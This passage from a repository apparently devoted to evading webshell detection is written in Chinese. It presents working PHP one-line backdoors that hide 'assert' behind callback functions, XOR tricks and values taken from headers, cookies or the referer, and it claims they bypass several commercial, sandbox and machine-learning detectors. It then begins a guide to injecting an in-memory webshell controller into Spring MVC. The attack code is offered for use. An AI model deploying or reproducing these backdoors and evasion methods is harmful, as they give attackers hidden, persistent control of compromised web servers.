用查杀工具检测:只有故意放置的一个eval一句话被查出来。 152 | 153 | ![查杀工具测试](success-3.png) 154 | 155 | bugscaner 在线查杀,通过 156 | 157 | ![bugscanner在线查杀](success-4.png) 158 | 159 | 使用河马正式版在线查杀,通过 160 | 161 | ![河马正式版在线查杀](success-5.png) 162 | 163 | 至此,我们**已经绕过安全狗、D盾和深信服的客户端Webshell查杀和bugscaner、河马正式版的在线查杀**。 164 | 165 | 可以发现,只需找一个网络上没有"**频繁出现**"或"**没有出现过**"回调函数,**稍加变形**,即可绕过传统技术的检测。 166 | 167 | 再给一个"array_intersect_ukey"反调函数的免杀示例[array_intersect_ukey.php](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/php/array_intersect_ukey.php): 168 | 169 | ```php 170 | = 5.4.0, PHP 7) 173 | * 174 | */ 175 | $password = "LandGrey"; 176 | $ch = explode(".","hello.ass.world.er.t"); 177 | array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch[1].$ch[3].$ch[4]); 178 | ?> 179 | ``` 180 | 181 | ## 0x05:突破**OpenRASP** WebShell沙盒检测 182 | 183 | 接着用OpenRASP团队的WEBDIR+在线查杀平台,被查出来是后门 184 | 185 | ![OpenRASP在线查杀](failed-1.png) 186 | 187 | 经过反复测试和观察,OpenRASP 团队的Webshell检测使用了动态监测技术,原理上应该是**将脚本放在安全沙盒中执行,分析脚本行为、尝试触发脚本的后门动作等**。不管混淆的脚本多厉害,使用了多巧妙的函数,试执行时基本都会被检测出来。 188 | 189 | 刚开始时,发现使用**PHP脚本加密技术**,可以有效绕过OpenRASP团队的WEBDIR+ Webshell检测服务。但加密动作太大,会被D盾或深信服的Webshell查杀软件警告,不仅不能实现零警告和无提示,人眼一看就会发现有问题,所以放弃了加密脚本这条路。 190 | 191 | 然后就陷入了一段时间的思索,这里给出一种基于免杀的回调函数,**利用信息不对称**来绕过OpenRASP WEBDIR+平台检测的技术: 192 | 193 | 1. #### 利用重命名前后的脚本名不同 194 | 195 | 在检测几次后,观察发现WEBDIR+ 把上传文件都按照文件哈希值重名了 196 | 197 | ![OpenRASP在线查杀](bypass-1.png) 198 | 199 | 所示,猜测该平台是先将上传脚本重命名,然后再在沙盒中试执行检测Webshell。那么就可以利用一句话脚本文件名在重命名前后的差别,完成绕过。一段核心的绕过检测的木马代码[array_intersect_uassoc-s.php](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/array_intersect_uassoc-file-last-char-must-be-s.php): 200 | 201 | ```php 202 | ""), array(1), $f); 207 | ?> 208 | ``` 209 | 210 | 脚本名必须是"***s.php"的名字形式,即最后一位字符要为"s",然后用"sclass" 和 hex2bin("12101f040107")的值按位异或,得到"assert",从而利用回调函数,执行PHP代码。 211 | 212 | 上传到WEBDIR+系统后,脚本被重命名,"**试执行时自然无法复现木马行为**",从而绕过了检测。这种方式有一种明显的要求,就是我们能够准确预知或控制脚本名的最后一位字符。 213 | 214 | 如果写成通用型脚本,根据文件名的最后一位字符,自动选择做异或的字符串,得到"assert",代码示例如下: 215 | 216 | ```php 217 | "51", "1" => "50", "2" => "53", "3" => "52", "4" => "55", "5" => "54", "6" => "57", "7" => "56", "8" => "59", 223 | "9" => "58", "a" => "00", "b" => "03", "c" => "02", "d" => "05", "e" => "04", "f" => "07", "g" => "06", "h" => "09", 224 | "i" => "08", "j" => "0b", "k" => "0a", "l" => "0d", "m" => "0c", "n" => "0f", "o" => "0e", "p" => "11", "q" => "10", 225 | "r" => "13", "s" => "12", "t" => "15", "u" => "14", "v" => "17", "w" => "16", "x" => "19", "y" => "18", "z" => "1b", 226 | "A" => "20", "B" => "23", "C" => "22", "D" => "25", "E" => "24", "F" => "27", "G" => "26", "H" => "29", "I" => "28", 227 | "J" => "2b", "K" => "2a", "L" => "2d", "M" => "2c", "N" => "2f", "O" => "2e", "P" => "31", "Q" => "30", "R" => "33", 228 | "S" => "32", "T" => "35", "U" => "34", "V" => "37", "W" => "36", "X" => "39", "Y" => "38", "Z" => "3b", 229 | ); 230 | $f = pack("H*", $trick[$key]."3f120b1655") ^ $key."Land!"; 231 | array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f); 232 | ?> 233 | ``` 234 | 235 | 就如下图所示,会被查杀: 236 | 237 | ![OpenRASP在线查杀](failed-2.png) 238 | 239 | 将脚本命名为[array_intersect_uassoc-r.php](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/php/array_intersect_uassoc-filename-last-char-must-be-r.php), 硬编码脚本最后一位字符为"r",就不会被平台检测到,证明了我们原始的想法和对平台检测原理的部分推测: 240 | 241 | ```php 242 | ""), array(1), $f); 248 | ?> 249 | ``` 250 | 251 | 2. #### 利用检测平台的信息缺失 252 | 253 | 接着猜想:当脚本在沙盒中运行时,如果得不到可以让脚本正常执行的关键信息,平台就无法查杀Webshell;而我们连接时,带上关键信息,就可以正常使用一句话木马后门,从而绕过查杀。 254 | 255 | 例如,利用下面的一句话[array_intersect_uassoc-headers-accept-r.php](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/php/array_intersect_uassoc-headers-accept-r.php),请求时,Cknife携带请求头`Accept: r`,密码输入"LandGrey",即可成功连接一句话木马: 256 | 257 | ![Cknife](success-6.png) 258 | 259 | ```php 260 | ""), array(1), $f); 266 | ?> 267 | ``` 268 | 269 | ![OpenRASP在线查杀](success-7.png) 270 | 271 | 3. #### 其它信息的差异 272 | 273 | 在针对某个特别的目标测试时,可以利用目标的特殊信息构造信息的差异,实现Webshell绕过。 274 | 275 | 如目标IP地址的唯一性、域名、特殊Cookie、Session字段和值、$_SERVER变量中可被控制的值,甚至是主机Web服务的根目录、操作系统等一些差别,发挥空间很大。 276 | 277 | ## 0x06:绕过深度学习技术的检测 278 | 279 | 当用0x05 "**1. 利用重命名前后的脚本名不同**"中的脚本来测试时,被深度学习模型技术检测Webshell给查杀了。 280 | 281 | 但是基于免杀的回调函数,利用0x05给出的"**2. 利用检测平台的信息缺失**"给出的一句话,仍然可以突破 webshell.cdxy.me平台的Webshell检测: 282 | 283 | ![OpenRASP在线查杀](success-8.png) 284 | 285 | 为了避免偶然,换个免杀函数,再测试一次。请求时设置Cookie值为`Cookie: set-domain-name=ass;`,以下示例脚本[array_intersect_ukey-cookie-ass.php](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/php/array_intersect_ukey-cookie-ass.php)代码也可绕过该平台的查杀,当然,以上提到的其它工具和平台也可以绕过。 286 | 287 | ```php 288 | = 5.4.0, PHP 7) 291 | * 292 | */ 293 | $password = "LandGrey"; 294 | $ch = $_COOKIE["set-domain-name"]; 295 | array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert"); 296 | ?> 297 | ``` 298 | 299 | ## 小插曲 300 | 301 | 在测试期间,还对河马机器学习查杀引擎 http://ml.shellpub.com 进行过测试,发现突破不了。测试中,发现连下面的正常语句都会被杀: 302 | 303 | ```php 304 | 307 | ``` 308 | 309 | 所以就将Wordpress的源码上传,测试下系统的可用性。1774个文件,发现了1494个疑似后门。系统的测试结果不能作为判断标准,所以正文中略过了对该平台的测试。 310 | 311 | ![机器学习在线查杀](failed-3.png) 312 | 313 | ## 0x07: 彩蛋 314 | 315 | 最后再给出一个可以绕过当前市面上几乎所有Webshell查杀的PHP一句话木马脚本[forward_static_call_array-referer-ass.php](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/php/forward_static_call_array-referer-ass.php)。请求时,设置Referer头,后面以"ass\****"结尾即可,比如:`Referer: http://www.target.com/ass.php`。 316 | 317 | 在使用Cknife时,注意软件实现有缺陷,会从第二个":"处截断,可改成`Referer: http%3a//www.target.com/ass.php` 318 | 319 | ```php 320 | = 5.3.0, PHP 7) 323 | * 324 | */ 325 | $password = "LandGrey"; 326 | $wx = substr($_SERVER["HTTP_REFERER"],-7,-4); 327 | forward_static_call_array($wx."ert", array($_REQUEST[$password])); 328 | ?> 329 | ``` 330 | 331 | ## 0x08: 后记 332 | 333 | 文章的"**0x04: 绕过传统检测**"研究结果表明:对于基于**陌生的回调函数后门**构造的一句话后门**脚本本身**,传统的基于特征、正则表达式和黑名单制的查杀技术,已经失去了对抗PHP Webshell检测的意义。 334 | 335 | "**0x05: 突破OpenRASP WebShell沙盒检测**"、"**0x06: 绕过深度学习技术的检测**"和"**小插曲**"部分的研究结果表名:新型的沙盒技术、深度学习、机器学习查杀平台还不够成熟和稳定,虽然在**检测未知的一句话木马方面表现领先于传统检测方式**,但是经过研究,还是可以构造出绕过查杀的PHP一句话木马脚本。 336 | 337 | 文章以上研究都是对PHP一句话**木马脚本本身**的免杀研究。文章发布后,以上多个回调函数后门估计很快会被加入黑名单。 338 | 339 | 要注意对于实际应用中,脚本本身免杀只是第一步,WAF和查杀软件可能会根据脚本的创建日期、文件大小、通信流量特征等多个方面,动态、综合的判断脚本是否为恶意Webshell,本文并未涉及。 340 | 341 | ## 0x09: 参考文档 342 | 343 | http://php.net/manual 344 | 345 | https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html 346 | 347 | https://joychou.org/web/webshell.html 348 | 349 | http://www.likesec.com/2017/12/08/webshell/ 350 | 351 | http://blog.safedog.cn/?p=68 352 | 353 | http://www.freebuf.com/articles/web/155891.html 354 | 355 | http://www.freebuf.com/articles/web/9396.html 356 | 357 | https://blog.csdn.net/xysoul/article/details/49791993 358 | 359 | https://cloud.tencent.com/developer/article/1097506 360 | 361 | http://www.91ri.org/12824.html 362 | 363 | http://www.3years.cc/index.php/archives/18/ 364 | 365 | http://www.cnblogs.com/LittleHann/p/3522990.html 366 | 367 | https://habrahabr.ru/post/215139/ 368 | 369 | https://stackoverflow.com/questions/14674834/php-convert-string-to-hex-and-hex-to-string -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/success-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/success-1.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/success-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/success-2.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/success-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/success-3.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/success-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/success-4.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/success-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/success-5.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/success-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/success-6.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/success-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/success-7.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/success-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/success-8.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/tips-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/tips-1.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/tips-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/tips-2.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/tips-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/tips-3.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/tips-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/tips-4.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/tips-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/tips-5.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/warning-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/warning-1.png -------------------------------------------------------------------------------- /docs/php-webshell-detect-bypass/warning-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/php-webshell-detect-bypass/warning-2.png -------------------------------------------------------------------------------- /docs/spring-inject-webshell/images/ApplicationContext-extends-interfaces.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/spring-inject-webshell/images/ApplicationContext-extends-interfaces.png -------------------------------------------------------------------------------- /docs/spring-inject-webshell/images/ApplicationContext-subtypes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/spring-inject-webshell/images/ApplicationContext-subtypes.png -------------------------------------------------------------------------------- /docs/spring-inject-webshell/images/DispacherServlet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/spring-inject-webshell/images/DispacherServlet.png -------------------------------------------------------------------------------- /docs/spring-inject-webshell/images/HandlerMapping.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/spring-inject-webshell/images/HandlerMapping.png -------------------------------------------------------------------------------- /docs/spring-inject-webshell/images/RequestContextUtils.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/spring-inject-webshell/images/RequestContextUtils.png -------------------------------------------------------------------------------- /docs/spring-inject-webshell/images/currentRequestAttributes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/spring-inject-webshell/images/currentRequestAttributes.png -------------------------------------------------------------------------------- /docs/spring-inject-webshell/images/getCurrentWebApplicationContext.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/spring-inject-webshell/images/getCurrentWebApplicationContext.png -------------------------------------------------------------------------------- /docs/spring-inject-webshell/images/response-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/spring-inject-webshell/images/response-01.png -------------------------------------------------------------------------------- /docs/spring-inject-webshell/images/response-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/spring-inject-webshell/images/response-02.png -------------------------------------------------------------------------------- /docs/spring-inject-webshell/images/video.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/spring-inject-webshell/images/video.gif -------------------------------------------------------------------------------- /docs/spring-inject-webshell/spring-inject-webshell.md: -------------------------------------------------------------------------------- 1 | ## 基于内存 Webshell 的无文件攻击技术研究 2 | 3 | 4 | 5 | ## 一. 情况介绍 6 | 7 | 红队人员在面对蓝队的严防死守与"盯梢"式的防御策略时,传统需要文件落地的攻击技术往往会受到掣肘,基于 Web 的无文件攻击技术逐渐成为 Web 安全的一种新的研究趋势。 8 | 9 | 所以我们重点研究了基于 Java 的常用 Web 框架 — `SpringMvc`,并实现了利用多种不同的技术手段,往内存中注入恶意 Webshell 代码的无文件攻击技术。 10 | 11 | 12 | 13 | ## 二. 必要知识 14 | 15 | 在切入正题前,首先需要了解下 `Spring` 框架中的几个必要的名词术语。 16 | 17 | ### Bean 18 | 19 | `bean` 是 Spring 框架的一个**核心概念**,它是构成应用程序的主干,并且是由 `Spring IoC` 容器负责实例化、配置、组装和管理的对象。 20 | 21 | 通俗来讲: 22 | 23 | - bean 是对象 24 | - bean 被 IoC 容器管理 25 | - Spring 应用主要是由一个个的 bean 构成的 26 | 27 | 28 | 29 | ### ApplicationContext 30 | 31 | Spring 框架中,`BeanFactory` 接口是 `Spring` **IoC容器** 的实际代表者。 32 | 33 | 从下面的`接口继承关系图`中可以看出,`ApplicationContext` 接口继承了 `BeanFactory` 接口,并通过继承其他接口进一步扩展了基本容器的功能。 34 | 35 | ![](https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/master/docs/spring-inject-webshell/images/ApplicationContext-extends-interfaces.png) 36 | 37 | 38 | 39 | 因此,`org.springframework.context.ApplicationContext `接口也代表了 ` IoC容器` ,它负责实例化、定位、配置应用程序中的对象(`bean`)及建立这些对象间(`beans`)的依赖。 40 | 41 | `IoC容器`通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用`xml`、`Java注解`或`Java代码`来表示。 42 | 43 | 另外,如下图,还有一堆各式各样的 context 继承了 `ApplicationContext` 接口,太繁杂不展开描述,仅供参考。 44 | 45 | ![](https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/master/docs/spring-inject-webshell/images/ApplicationContext-subtypes.png) 46 | 47 | 48 | 49 | ### ContextLoaderListener 与 DispatcherServlet 50 | 51 | 下面是一个典型 Spring 应用的 `web.xml` 配置示例: 52 | 53 | ```xml 54 | 58 | 59 | HelloSpringMVC 60 | 61 | 62 | contextConfigLocation 63 | /WEB-INF/applicationContext.xml 64 | 65 | 66 | 67 | org.springframework.web.context.ContextLoaderListener 68 | 69 | 70 | 71 | dispatcherServlet 72 | org.springframework.web.servlet.DispatcherServlet 73 | 74 | contextConfigLocation 75 | /WEB-INF/dispatcherServlet-servlet.xml 76 | 77 | 1 78 | 79 | 80 | 81 | dispatcherServlet 82 | / 83 | 84 | 85 | ``` 86 | 87 | 88 | 89 | 在正式了解上面的配置前,先介绍下关于 `Root Context` 和 `Child Context` 的**重要**概念: 90 | 91 | - Spring 应用中可以同时有多个 `Context`,其中只有一个 `Root Context`,剩下的全是 `Child Context` 92 | - 所有`Child Context`都可以访问在 `Root Context`中定义的 `bean`,但是`Root Context`无法访问`Child Context`中定义的 `bean` 93 | - 所有的`Context`在创建后,都会被作为一个属性添加到了 `ServletContext`中 94 | 95 | 96 | 97 | #### ContextLoaderListener 98 | 99 | `ContextLoaderListener` 主要被用来初始化全局唯一的`Root Context`,即 `Root WebApplicationContext`。这个 `Root WebApplicationContext` 会和其他 `Child Context` 实例共享它的 `IoC 容器`,供其他 `Child Context` 获取并使用容器中的 `bean`。 100 | 101 | 回到 `web.xml` 中,其相关配置如下: 102 | 103 | ```java 104 | 105 | contextConfigLocation 106 | /WEB-INF/applicationContext.xml 107 | 108 | 109 | 110 | org.springframework.web.context.ContextLoaderListener 111 | 112 | ``` 113 | 114 | 依照规范,当没有显式配置 `ContextLoaderListener` 的 `contextConfigLocation` 时,程序会自动寻找 `/WEB-INF/applicationContext.xml`,作为配置文件,所以其实上面的 `` 标签对其实完全可以去掉。 115 | 116 | 117 | 118 | #### DispatcherServlet 119 | 120 | `DispatcherServlet` 的主要作用是处理传入的web请求,根据配置的 URL pattern,将请求分发给正确的 Controller 和 View。`DispatcherServlet` 初始化完成后,会创建一个普通的 `Child Context` 实例。 121 | 122 | 从下面的继承关系图中可以发现: `DispatcherServlet` 从本质上来讲是一个 `Servlet`(扩展了 `HttpServlet` )。 123 | 124 | ![](https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/master/docs/spring-inject-webshell/images/DispacherServlet.png) 125 | 126 | 127 | 128 | 回到 `web.xml` 中,其相关配置如下: 129 | 130 | ```java 131 | 132 | dispatcherServlet 133 | org.springframework.web.servlet.DispatcherServlet 134 | 135 | contextConfigLocation 136 | /WEB-INF/dispatcherServlet-servlet.xml 137 | 138 | 1 139 | 140 | ``` 141 | 142 | 143 | 144 | 上面给 `org.springframework.web.servlet.DispatcherServlet` 类设置了个别名 `dispatcherServlet` ,并配置了它的 `contextConfigLocation` 参数值为 `/WEB-INF/dispatcherServlet-servlet.xml`。 145 | 146 | 依照规范,当没有显式配置 `contextConfigLocation` 时,程序会自动寻找 ``/WEB-INF/-servlet.xml`,作为配置文件。因为上面的 `` 是 `dispatcherServlet`,所以当没有显式配置时,程序依然会自动找到 `/WEB-INF/dispatcherServlet-servlet.xml` 配置文件。 147 | 148 | 149 | 150 | 综上,可以了解到:每个具体的 `DispatcherServlet` 创建的是一个 `Child Context`,代表一个独立的 `IoC 容器`;而 `ContextLoaderListener` 所创建的是一个 `Root Context`,代表全局唯一的一个公共 `IoC 容器`。 151 | 152 | 如果要访问和操作 `bean` ,一般要获得当前代码执行环境的`IoC 容器` 代表者 `ApplicationContext`。 153 | 154 | 155 | 156 | ## 三. 技术要点 157 | 158 | - Q: spring 内存注入 Webshell,要达到什么样的效果? 159 | - A: 一言以蔽之:在执行完一段 java 代码后,可通过正常的 URL 访问到内存中的 Webshell 获得回显即可。 160 | 161 | 162 | 163 | 在经过一番文档查阅和源码阅读后,发现可能有不止一种方法可以达到以上效果。其中通用的技术点主要有以下几个: 164 | 165 | 1. 在不使用注解和修改配置文件的情况下,使用纯 java 代码来获得当前代码运行时的上下文环境; 166 | 2. 在不使用注解和修改配置文件的情况下,使用纯 java 代码在上下文环境中手动注册一个 controller; 167 | 3. controller 中写入 Webshell 逻辑,达到和 Webshell 的 URL 进行交互回显的效果; 168 | 169 | 170 | 171 | ## 四. 技术实现 172 | 173 | ### 1. 获得当前代码运行时的上下文环境 174 | 175 | 176 | 177 | #### **方法一:getCurrentWebApplicationContext** 178 | 179 | ```java 180 | WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext(); 181 | ``` 182 | 183 | 如下图, `getCurrentWebApplicationContext` 获得的是一个 `XmlWebApplicationContext` 实例类型的 `Root WebApplicationContext`。 184 | 185 | 注意这里及下面实现方法中的 `Root WebApplicationContext` 都是后文的一个伏笔。 186 | 187 | ![](https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/master/docs/spring-inject-webshell/images/getCurrentWebApplicationContext.png) 188 | 189 | 190 | 191 | #### **方法二:WebApplicationContextUtils** 192 | 193 | ```java 194 | WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext()); 195 | ``` 196 | 197 | 通过这种方法获得的也是一个 `Root WebApplicationContext` 。此方法看起来比较麻烦,其实拆分起来比较容易理解,主要是用 `WebApplicationContextUtils `的 198 | 199 | ```java 200 | public static WebApplicationContext getWebApplicationContext(ServletContext sc) 201 | ``` 202 | 203 | 方法来获得当前上下文环境。其中 `WebApplicationContextUtils.getWebApplicationContext` 函数也可以用 `WebApplicationContextUtils.getRequiredWebApplicationContext`来替换。 204 | 205 | 剩余部分代码,都是用来获得 `ServletContext` 类的一个实例。仔细研究后可以发现,上面的代码完全可以简化成**方法三**中的代码。 206 | 207 | 208 | 209 | #### **方法三:RequestContextUtils** 210 | 211 | ```java 212 | WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); 213 | ``` 214 | 215 | 上面的代码使用 `RequestContextUtils` 的 216 | 217 | ```java 218 | public static WebApplicationContext getWebApplicationContext(ServletRequest request) 219 | ``` 220 | 221 | 方法,通过 `ServletRequest` 类的实例来获得 `WebApplicationContext` 。 222 | 223 | 如下图,可以发现此方法获得的是一个名叫 `dispatcherServlet-servlet` 的 `Child WebApplicationContext`。这个 `dispatcherServlet-servlet` 其实是上面配置中 `dispatcherServlet-servlet.xml` 的文件名。![](https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/master/docs/spring-inject-webshell/images/RequestContextUtils.png) 224 | 225 | 226 | 227 | 进一步分析,代码中有个 `RequestContextHolder.currentRequestAttributes()` ,在前置知识中已经提到过 228 | 229 | > 所有的`Context`在创建后,都会被作为一个属性添加到了 `ServletContext`中 230 | 231 | 232 | 233 | 然后如下图,查看当前所有的 `attributes`,发现确实保存有 `Context` 的属性名。 234 | 235 | 其中 `org.springframework.web.servlet.DispatcherServlet.CONTEXT` 和 `org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE` 属性名中都存放着一个名叫 `dispatcherServlet-servlet` 的 `Child WebApplicationContext` 。 236 | 237 | ![](https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/master/docs/spring-inject-webshell/images/currentRequestAttributes.png) 238 | 239 | 240 | 241 | #### **方法四:getAttribute** 242 | 243 | ```java 244 | WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 245 | ``` 246 | 247 | 从**方法三**的分析来看,其实完全可以将存放在 `ServletContext` 属性中的 `Context` 取出来直接使用。在阅读相关源码后发现,上面代码中的 `currentRequestAttributes()` 替换成 `getRequestAttributes()` 也同样有效;`getAttribute` 参数中的 `0`代表从当前 `request` 中获取而不是从当前的 `session` 中获取属性值。 248 | 249 | 因此,使用以上代码也可以获得一个名叫 `dispatcherServlet-servlet` 的 `Child WebApplicationContext`。 250 | 251 | 252 | 253 | ### 2. 手动注册 controller 254 | 255 | 一个正常的 `Controller` 示例代码如下,当用浏览器访问 `/hello` 路径时,会在定义好的 `View` 中输出 `hello World` 字样。 256 | 257 | ```java 258 | @Controller 259 | public class HelloController { 260 | @RequestMapping(value = "/hello", method = RequestMethod.GET) 261 | public String hello(@RequestParam(value="name", required=false, defaultValue="World") String name, Model model) { 262 | model.addAttribute("name", name); 263 | return "hello"; 264 | } 265 | } 266 | ``` 267 | 268 | 269 | 270 | 如下图:**Spring 3.2.5** 处理 URL 映射相关的类都实现了 `HandlerMapping` 接口。 271 | 272 | ![](https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/master/docs/spring-inject-webshell/images/HandlerMapping.png) 273 | 274 | 275 | 276 | **Spring 2.5** 开始到 **Spring 3.1** 之前一般使用 `org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping` 映射器 ; 277 | 278 | **Spring 3.1** 开始及以后一般开始使用新的 `org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping` 映射器来支持`@Contoller`和`@RequestMapping`注解。 279 | 280 | 当然,也有高版本依旧使用旧映射器的情况。因此正常程序的上下文中一般存在其中一种映射器的实例 `bean`。又因版本不同和较多的接口等原因,手工注册动态 `controller` 的方法不止一种。 281 | 282 | 283 | 284 | #### 方法一:registerMapping 285 | 286 | 在 **spring 4.0** 及以后,可以使用 `registerMapping` 直接注册 `requestMapping` ,这是最直接的一种方式。 287 | 288 | 相关示例代码和解释如下: 289 | 290 | ```java 291 | // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean 292 | RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); 293 | // 2. 通过反射获得自定义 controller 中唯一的 Method 对象 294 | Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0]; 295 | // 3. 定义访问 controller 的 URL 地址 296 | PatternsRequestCondition url = new PatternsRequestCondition("/hahaha"); 297 | // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST) 298 | RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); 299 | // 5. 在内存中动态注册 controller 300 | RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); 301 | r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method); 302 | ``` 303 | 304 | 305 | 306 | #### 方法二:registerHandler 307 | 308 | 参考上面的 `HandlerMapping` 接口继承关系图,针对使用 `DefaultAnnotationHandlerMapping` 映射器的应用,可以找到它继承的顶层类 309 | 310 | ``` 311 | org.springframework.web.servlet.handler.AbstractUrlHandlerMapping 312 | ``` 313 | 314 | 进入查看代码,发现其中有一个`registerHandler` 方法,摘录关键部分如下: 315 | 316 | ```java 317 | protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException { 318 | ... 319 | Object resolvedHandler = handler; 320 | if 